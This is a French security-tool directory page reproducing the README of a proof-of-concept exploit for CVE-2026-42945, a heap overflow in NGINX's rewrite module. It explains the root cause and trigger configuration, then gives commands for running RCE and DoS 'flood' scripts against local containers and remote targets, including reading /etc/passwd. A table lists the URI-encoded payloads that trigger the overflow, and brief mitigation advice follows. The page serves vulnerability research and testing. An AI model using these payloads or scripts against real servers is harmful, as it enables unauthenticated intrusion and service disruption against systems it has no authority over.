Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nginx-cve-2026-42945-poc — Preuve de concept d'exploit pour CVE-2026-42945, un débordement de tas critique dans le module de réécriture de NGINX permettant une exécution de code à distance non authentifiée via un encodage d'URI malveillant. Comprend un environnement de test basé sur Docker, une validation ASAN et plusieurs scripts d'exploit. | Kitploit
Outils/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
Sécurité des ConteneursAnalyse Dynamique (Sandboxing)Analyse des VulnérabilitésExploitationExploitation d'Applications WebFuzzingTests d'IntrusionExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept d'exploit pour CVE-2026-42945, un débordement de tas critique dans le module de réécriture de NGINX permettant une exécution de code à distance non authentifiée via un encodage d'URI malveillant. Comprend un environnement de test basé sur Docker, une validation ASAN et plusieurs scripts d'exploit.

GitHub
forxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

Voir le dépôt
15il y a 3 moisPas encore vérifié
Partager

CVE-2026-42945 — NGINX Rewrite Module Débordement de tas → RCE

RCE confirmé avec succès — Exécution de commandes arbitraires dans les processus workers NGINX / OpenResty via débordement de tas + injection de processus GDB.

Démarrage rapide

root@kitploit:~
# One-click build NGINX image + execute RCE test
./run.sh nginx

# One-click build OpenResty image + execute RCE test
./run.sh openresty

# Custom command
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

Aperçu de la vulnérabilité

PropriétéValeur
CVE IDCVE-2026-42945
Type de vulnérabilitéDébordement de tas → Exécution de code à distance (RCE)
Composant affecténgx_http_rewrite_module
Versions affectéesNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
Score de vulnérabilitéCVSS 9.4 (CRITICAL)
Conditions d'exploitationAucune authentification requise ; RCE nécessite des privilèges ptrace (root)

Cause racine de la vulnérabilité

ngx_http_script_complex_value_code() alloue le tampon en fonction de la longueur après décodage de l'URI, mais ngx_http_script_copy_capture_code() appelle ngx_escape_uri() et écrit en fonction de la longueur après encodage. Les caractères encodés en URL sont multipliés par 3 → débordement de tas.

Conditions de déclenchement

Trois conditions doivent être réunies simultanément :

  1. Les directives rewrite et set dans le même location
  2. La chaîne de remplacement de rewrite contient ?
  3. set référence la variable de capture $1 de rewrite
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Contains '?'
    set $original_endpoint $1;                     # References $1
}

Pile de confirmation ASAN

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

Structure du projet

root@kitploit:~
.
├── run.sh                          # One-click build + test entry point
├── README.md
│
├── scripts/                        # Test & exploit scripts
│   ├── rce.sh                      # Pure Shell RCE (curl + GDB, no Python)
│   ├── exploit_rce.py              # Python RCE (compatible with 2.7/3.x)
│   ├── exploit.py                  # PoC main script (check/exploit/rce/flood)
│   └── exploit_asan.py             # ASAN full scan
│
├── package/                        # Deployment & orchestration files
│   ├── Dockerfile.rce              # NGINX source compile + RCE environment
│   ├── Dockerfile.openresty.rce    # OpenResty source compile + RCE environment
│   ├── Dockerfile                  # Base image (Alpine)
│   ├── Dockerfile.asan             # ASAN debug image
│   ├── docker-compose.yml          # Docker orchestration (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # NGINX vulnerable configuration
│   ├── nginx-openresty.conf        # OpenResty vulnerable configuration
│   ├── start_rce.sh                # NGINX RCE container start script
│   └── start_openresty_rce.sh      # OpenResty RCE container start script
│
└── src/                            # Source code (for compilation)
    ├── nginx-1.26.3/               # NGINX 1.26.3 source code
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (built-in nginx/1.25.3)

Utilisation détaillée

Test dans les conteneurs Docker

root@kitploit:~
# Shell script (no Python dependency)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python script (compatible with 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty same
docker exec openresty-rce bash /opt/rce.sh 'id'

Exécuter depuis l'hôte dans le conteneur

root@kitploit:~
docker exec -it nginx-rce bash
# Inside container:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

Tester directement une cible distante

root@kitploit:~
# Requires root + ptrace privileges
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

Script principal PoC (quatre modes)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # Detect vulnerability
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN heap overflow validation
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE risk assessment
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS stress test

Payload de déclenchement

Recommandations de correction

  1. Mettre à niveau NGINX vers 1.30.2+
  2. Mesure d'atténuation temporaire : éviter la combinaison rewrite (contenant ?) + set (référençant $1)
  3. Règles WAF : bloquer les requêtes contenant de nombreux encodages %25/%3f/%23/%26
  4. Renforcement des privilèges : echo 1 > /proc/sys/kernel/yama/ptrace_scope

Références

  • F5 Advisory K000161019
  • NGINX Source
Télécharger l’outil
PayloadDescriptionRésultat
/api/%25 × N% encodé✅ Débordement de tas
/api/%3f × N? encodé✅ Débordement de tas
/api/%23 × N# encodé✅ Débordement de tas
/api/%26 × N& encodé✅ Débordement de tas